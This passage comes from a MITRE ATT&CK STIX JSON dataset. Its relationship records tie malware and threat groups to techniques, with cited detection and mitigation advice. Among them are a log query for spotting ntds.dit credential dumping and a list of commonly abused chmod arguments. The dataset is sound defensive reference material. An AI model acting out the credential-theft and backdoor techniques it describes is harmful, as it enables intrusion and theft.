Retrieved January 25, 2016.", "url": "https://www.fireeye.com/blog/threat-research/2015/07/demonstrating_hustle.html"}, {"description": "Pantazopoulos, N. (2018, April 17). Decoding network data from a Gh0st RAT variant. Retrieved November 2, 2018.", "url": "https://research.nccgroup.com/2018/04/17/decoding-network-data-from-a-gh0st-rat-variant/", "source_name": "Nccgroup Gh0st April 2018"}], "modified": "2021-03-29T19:49:11.265Z", "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to open a remote shell to execute commands.(Citation: FireEye Hacking Team)(Citation: Nccgroup Gh0st April 2018)", "relationship_type": "uses", "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68896b85-a0ed-4b99-a776-dbdd3092ac07", "type": "relationship", "created": "2021-08-02T15:43:04.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Toolset May 2021", "url": "https://www.microsoft.com/security/blog/2021/05/28/breaking-down-nobeliums-latest-early-stage-toolset/", "description": "MSTIC. (2021, May 28). Breaking down NOBELIUM\u2019s latest early-stage toolset. Retrieved August 4, 2021."}], "modified": "2021-08-04T13:54:53.437Z", "description": "[EnvyScout](https://attack.mitre.org/software/S0634) can deobfuscate and write malicious ISO files to disk.(Citation: MSTIC Nobelium Toolset May 2021)", "relationship_type": "uses", "source_ref": "malware--2f8229dc-da94-41c6-89ba-b5b6c32f6b7d", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--688b7c25-8c01-4893-a184-47564a79c96b", "type": "relationship", "created": "2022-03-30T14:26:51.854Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.854Z", "description": "Many of the commands used to modify ACLs and file/directory ownership are built-in system utilities and may generate a high false positive alert rate, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. Commonly abused command arguments include <code>chmod +x</code>, <code>chmod -R 755</code>, and <code>chmod 777</code>.(Citation: 20 macOS Common Tools and Techniques)", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "20 macOS Common Tools and Techniques", "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--688ff9e6-5482-4019-b092-9e831bbac490", "type": "relationship", "created": "2020-06-11T16:18:16.732Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Tick November 2019", "url": "https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf", "description": "Chen, J. et al. (2019, November). Operation ENDTRADE: TICK\u2019s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}], "modified": "2020-06-24T01:27:32.403Z", "description": "[Avenger](https://attack.mitre.org/software/S0473) has the ability to use HTTP in communication with C2.(Citation: Trend Micro Tick November 2019)", "relationship_type": "uses", "source_ref": "malware--36ede314-7db4-4d09-b53d-81bbfbe5f6f8", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--689042a3-f33e-47aa-b544-a3d823f71c1c", "created": "2022-03-30T14:26:51.838Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.\nNormal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.", "modified": "2022-04-14T15:34:11.764Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--8c826308-2760-492f-9e36-4f0f7e23bcac", "target_ref": "attack-pattern--e24fcba8-2557-4442-a139-1ee2f2e784db", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68949ed4-db1b-40bb-b2ca-1a91d2739295", "type": "relationship", "created": "2019-06-20T14:46:03.508Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Harmj0y Domain Trusts", "url": "https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944", "description": "Schroeder, W. (2017, October 30). A Guide to Attacking Domain Trusts. Retrieved February 14, 2019."}], "modified": "2020-09-17T18:26:17.835Z", "description": "Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts).", "relationship_type": "mitigates", "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c", "target_ref": "attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68953f34-79e2-482a-bc9a-dbe11c2839ae", "type": "relationship", "created": "2021-01-22T16:51:10.389Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Chimera January 2021", "url": "https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/", "description": "Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved January 19, 2021."}], "modified": "2021-01-22T16:59:57.359Z", "description": "[Chimera](https://attack.mitre.org/groups/G0114) has staged stolen data locally on compromised hosts.(Citation: NCC Group Chimera January 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c", "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6895e54e-3968-41a9-9013-a082cd46fa44", "created": "2020-05-14T14:40:26.221Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Red Canary Hospital Thwarted Ryuk October 2020", "description": "Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.", "url": "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/"}, {"source_name": "DHS/CISA Ransomware Targeting Healthcare October 2020", "description": "DHS/CISA. (2020, October 28). Ransomware Activity Targeting the Healthcare and Public Health Sector. Retrieved October 28, 2020.", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-302a"}, {"source_name": "CrowdStrike Ryuk January 2019", "description": "Hanel, A. (2019, January 10). Big Game Hunting with Ryuk: Another Lucrative Targeted Ransomware. Retrieved May 12, 2020.", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/"}, {"source_name": "FireEye KEGTAP SINGLEMALT October 2020", "description": "Kimberly Goody, Jeremy Kennelly, Joshua Shilko, Steve Elovitz, Douglas Bienstock. (2020, October 28). Unhappy Hour Special: KEGTAP and SINGLEMALT With a Ransomware Chaser. Retrieved October 28, 2020.", "url": "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html"}, {"source_name": "Microsoft Ransomware as a Service", "description": "Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.", "url": "https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}, {"source_name": "CrowdStrike Wizard Spider October 2020", "description": "Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021.", "url": "https://www.crowdstrike.com/blog/wizard-spider-adversary-update/"}, {"source_name": "Sophos New Ryuk Attack October 2020", "description": "Sean Gallagher, Peter Mackenzie, Elida Leite, Syed Shahram, Bill Kearney, Anand Aijan, Sivagnanam Gn, Suraj Mundalik. (2020, October 14). They\u2019re back: inside a new Ryuk ransomware attack. Retrieved October 14, 2020.", "url": "https://news.sophos.com/en-us/2020/10/14/inside-a-new-ryuk-ransomware-attack/"}, {"source_name": "Mandiant FIN12 Oct 2021", "description": "Shilko, J., et al. (2021, October 7). FIN12: The Prolific Ransomware Intrusion Threat Actor That Has Aggressively Pursued Healthcare Targets. Retrieved June 15, 2023.", "url": "https://www.mandiant.com/sites/default/files/2021-10/fin12-group-profile.pdf"}, {"source_name": "DFIR Ryuk 2 Hour Speed Run November 2020", "description": "The DFIR Report. (2020, November 5). Ryuk Speed Run, 2 Hours to Ransom. Retrieved November 6, 2020.", "url": "https://thedfirreport.com/2020/11/05/ryuk-speed-run-2-hours-to-ransom/"}, {"source_name": "DFIR Ryuk in 5 Hours October 2020", "description": "The DFIR Report. (2020, October 18). Ryuk in 5 Hours. Retrieved October 19, 2020.", "url": "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/"}, {"source_name": "DFIR Ryuk's Return October 2020", "description": "The DFIR Report. (2020, October 8). Ryuk\u2019s Return. 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Retrieved May 31, 2019.", "url": "https://securelist.com/dridex-a-history-of-evolution/78531/", "source_name": "Kaspersky Dridex May 2017"}], "modified": "2020-03-20T23:18:04.721Z", "description": "[Dridex](https://attack.mitre.org/software/S0384) has encrypted traffic with RSA.(Citation: Kaspersky Dridex May 2017)", "relationship_type": "uses", "source_ref": "malware--f01e2711-4b48-4192-a2e8-5f56c945ca19", "target_ref": "attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--68c60234-8e28-410c-a0a0-94ca1a079f1e", "created": "2022-03-30T14:26:51.871Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor executed commands and arguments that may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003).", "modified": "2022-04-20T00:32:42.995Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68cfc5f9-3c65-4f24-8018-cf811d7b6c9f", "type": "relationship", "created": "2020-07-01T21:05:18.856Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. 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[Bundlore](https://attack.mitre.org/software/S0482) has also used base64 and RC4 with a hardcoded key to deobfuscate data.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68d151ea-6dd8-4e6b-acd5-c998ebffc357", "type": "relationship", "created": "2019-09-24T14:19:05.143Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos ZxShell Oct 2014", "url": "https://blogs.cisco.com/security/talos/opening-zxshell", "description": "Allievi, A., et al. (2014, October 28). Threat Spotlight: Group 72, Opening the ZxShell. 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Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-12-20T21:11:41.385Z", "description": "(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "malware--c46eb8e6-bf29-4696-8008-3ddb0b4ca470", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68dc04ee-ef1f-4ed4-a3eb-3232394543c3", "type": "relationship", "created": "2022-03-30T14:26:51.847Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.847Z", "description": "Monitor for files viewed in isolation that may steal data by exfiltrating it over a symmetrically encrypted network protocol other than that of the existing command and control channel.", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--79a4052e-1a89-4b09-aea6-51f1d11fe19c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--68ddf3bf-bf01-4de5-8b0e-e00db5a8ee7e", "created": "2022-06-24T14:12:46.845Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Zscaler Lyceum DnsSystem June 2022", "url": "https://www.zscaler.com/blogs/security-research/lyceum-net-dns-backdoor", "description": "Shivtarkar, N. and Kumar, A. (2022, June 9). Lyceum .NET DNS Backdoor. Retrieved June 23, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[DnsSystem](https://attack.mitre.org/software/S1021)  can direct queries to custom DNS servers and return C2 commands using TXT records.(Citation: Zscaler Lyceum DnsSystem June 2022)", "modified": "2022-06-24T14:12:46.845Z", "relationship_type": "uses", "source_ref": "malware--8a2867f9-e8fc-4bf1-a860-ef6e46311900", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68e017e5-ee14-4e33-9907-2537fbbdb117", "type": "relationship", "created": "2020-07-16T15:23:48.762Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ForSSHe December 2018", "url": "https://www.welivesecurity.com/wp-content/uploads/2018/12/ESET-The_Dark_Side_of_the_ForSSHe.pdf", "description": "Dumont, R., M.L\u00e9veill\u00e9, M., Porcher, H. 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Retrieved July 16, 2020."}], "modified": "2020-07-16T15:23:48.762Z", "description": "[Kessel](https://attack.mitre.org/software/S0487) has maliciously altered the OpenSSH binary on targeted systems to create a backdoor.(Citation: ESET ForSSHe December 2018)", "relationship_type": "uses", "source_ref": "malware--c984b414-b766-44c5-814a-2fe96c913c12", "target_ref": "attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68e0f80d-86e4-47c4-9498-49fa72221ca2", "type": "relationship", "created": "2020-03-27T21:04:50.409Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-27T21:04:50.409Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", "target_ref": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68e18f32-aae3-4bd6-b8e5-6ec2ec3d4173", "type": "relationship", "created": "2020-10-21T19:08:44.127Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Medium Metamorfo Apr 2020", "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767", "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020."}, {"source_name": "FireEye Metamorfo Apr 2018", "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html", "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."}, {"source_name": "Fortinet Metamorfo Feb 2020", "url": "https://www.fortinet.com/blog/threat-research/another-metamorfo-variant-targeting-customers-of-financial-institutions", "description": "Zhang, X. (2020, February 4). Another Metamorfo Variant Targeting Customers of Financial Institutions in More Countries. Retrieved July 30, 2020."}], "modified": "2021-10-15T00:45:22.234Z", "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has downloaded a zip file for execution on the system.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: Fortinet Metamorfo Feb 2020) ", "relationship_type": "uses", "source_ref": "malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2", "target_ref": "attack-pattern--9c99724c-a483-4d60-ad9d-7f004e42e8e8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--68e1b510-a985-467a-b3b6-03d5493e9b59", "type": "relationship", "created": "2021-04-03T18:55:25.871Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-04-27T19:56:54.686Z", "description": "Ensure operating systems and browsers are using the most current version. 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Retrieved July 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Heyoka Backdoor](https://attack.mitre.org/software/S1027) can enumerate drives on a compromised host.(Citation: SentinelOne Aoqin Dragon June 2022)", "modified": "2022-07-25T18:25:03.015Z", "relationship_type": "uses", "source_ref": "malware--dff90475-9f72-41a6-84ed-1fbefd3874c0", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6928abb5-b9b1-48d5-b3c5-8c7a94da5076", "type": "relationship", "created": "2020-03-27T12:10:23.734Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-31T13:39:03.536Z", "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001).", "relationship_type": "mitigates", "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808", "target_ref": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--692e5a04-1f20-4597-8f64-15749c9b90e9", "created": "2023-09-06T15:02:13.543Z", "revoked": false, "external_references": [{"source_name": "Symantec FIN8 Jul 2023", "description": "Symantec Threat Hunter Team. (2023, July 18). FIN8 Uses Revamped Sardonic Backdoor to Deliver Noberus Ransomware. Retrieved August 9, 2023.", "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/syssphinx-fin8-backdoor"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-06T15:02:13.543Z", "description": "(Citation: Symantec FIN8 Jul 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", "target_ref": "malware--54895630-efd2-4608-9c24-319de972a9eb", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--6930c084-c02c-4278-8343-6a47fed4fdc0", "type": "relationship", "created": "2020-06-10T21:56:40.105Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}], "modified": "2020-06-10T21:56:40.105Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s CredRaptor tool can collect saved passwords from various internet browsers.(Citation: ESET Telebots Dec 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6932915f-7164-4cef-87bd-51063c1819e7", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-27T16:07:44.203Z", "description": "Monitor for access or copy of the NTDS.dit.\n\nNote: Events 4656 and 4663 (Microsoft Windows Security Auditing) provide context of processes and users requesting access or accessing file objects (ObjectType = File) such as C:\\Windows\\NTDS\\ntds.dit. It is important to note that, in order to generate these events, a System Access Control List (SACL) must be defined for the ntds.dit file. Access rights that allow read operations on file objects and its attributes are %%4416 Read file data, %%4419 Read extended file attributes, %%4423 Read file attributes. If you search for just the name of the file and not the entire directory, you may get access events related to the ntds.dit file within a snapshot or volume shadow copy. \n\nEvents 4656 and 4663 (Microsoft Windows Security Auditing) provide context of processes and users creating or copying file objects (ObjectType = File) such as C:\\Windows\\NTDS\\ntds.dit. It is important to note that, in order to generate these events, a System Access Control List (SACL) must be defined for the ntds.dit file. In order to filter file creation events, filter access rigths %%4417 Write data to the file and %%4424 Write file attributes.\n\nEvent 11 (Microsoft Windows Sysmon) provide context of processes and users creating or copying files. Unfortunately, this event provides context of the file being created or copied, but not the file being copied. A good starting point would be to look for new files created or copied with extension .dit.\n\nAnalytic 1 - Active Directory Dumping via NTDSUtil\n\n<code>(source=WinEventLog:\"*Security\" EventCode IN (4656, 4663)) OR (source=WinEventLog:\"*Microsoft-Windows-Sysmon/Operational\" EventCode=\"11\") AND\nObjectType=\"File\" AND TargetFilename=\"*ntds.dit\" AND (AccessList=\"%%4416\" OR AccessList=\"%%4419\" OR AccessList=\"%%4417\" OR AccessList=\"%%4424\")</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", "target_ref": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--693372c1-418e-45c3-9b0e-0c21d705d1d2", "type": "relationship", "created": "2019-01-29T21:47:53.757Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Talos Micropsia June 2017", "url": "https://blog.talosintelligence.com/2017/06/palestine-delphi.html", "description": "Rascagneres, P., Mercer, W. (2017, June 19). Delphi Used To Score Against Palestine. Retrieved November 13, 2018."}], "modified": "2019-04-17T22:05:05.847Z", "description": "[Micropsia](https://attack.mitre.org/software/S0339) collects the username from the victim\u2019s machine.(Citation: Talos Micropsia June 2017)", "relationship_type": "uses", "source_ref": "malware--8c050cea-86e1-4b63-bf21-7af4fa483349", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--6934c7b5-96ce-4265-aea3-7eae018d7f3c", "created": "2023-03-26T19:56:56.556Z", "revoked": false, "external_references": [{"source_name": "Microsoft 365 Defender Solorigate", "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021.", "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/"}, {"source_name": "Cybersecurity Advisory SVR TTP May 2021", "description": "NCSC, CISA, FBI, NSA. (2021, May 7). Further TTPs associated with SVR cyber actors. Retrieved July 29, 2021.", "url": "https://www.ncsc.gov.uk/files/Advisory-further-TTPs-associated-with-SVR-cyber-actors.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T19:56:56.556Z", "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) obtained PKI keys, certificate files, and the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)(Citation: Cybersecurity Advisory SVR TTP May 2021)", "relationship_type": "uses", "source_ref": "campaign--808d6b30-df4e-4341-8248-724da4bac650", "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--69356661-76fb-46fe-94ce-d029ee7f8a64", "type": "relationship", "created": "2021-01-11T18:40:01.994Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Check Point Sunburst Teardrop December 2020", "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/", "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."}], "modified": "2021-01-14T17:08:57.210Z", "description": "[TEARDROP](https://attack.mitre.org/software/S0560) modified the Registry to create a Windows service for itself on a compromised host.(Citation: Check Point 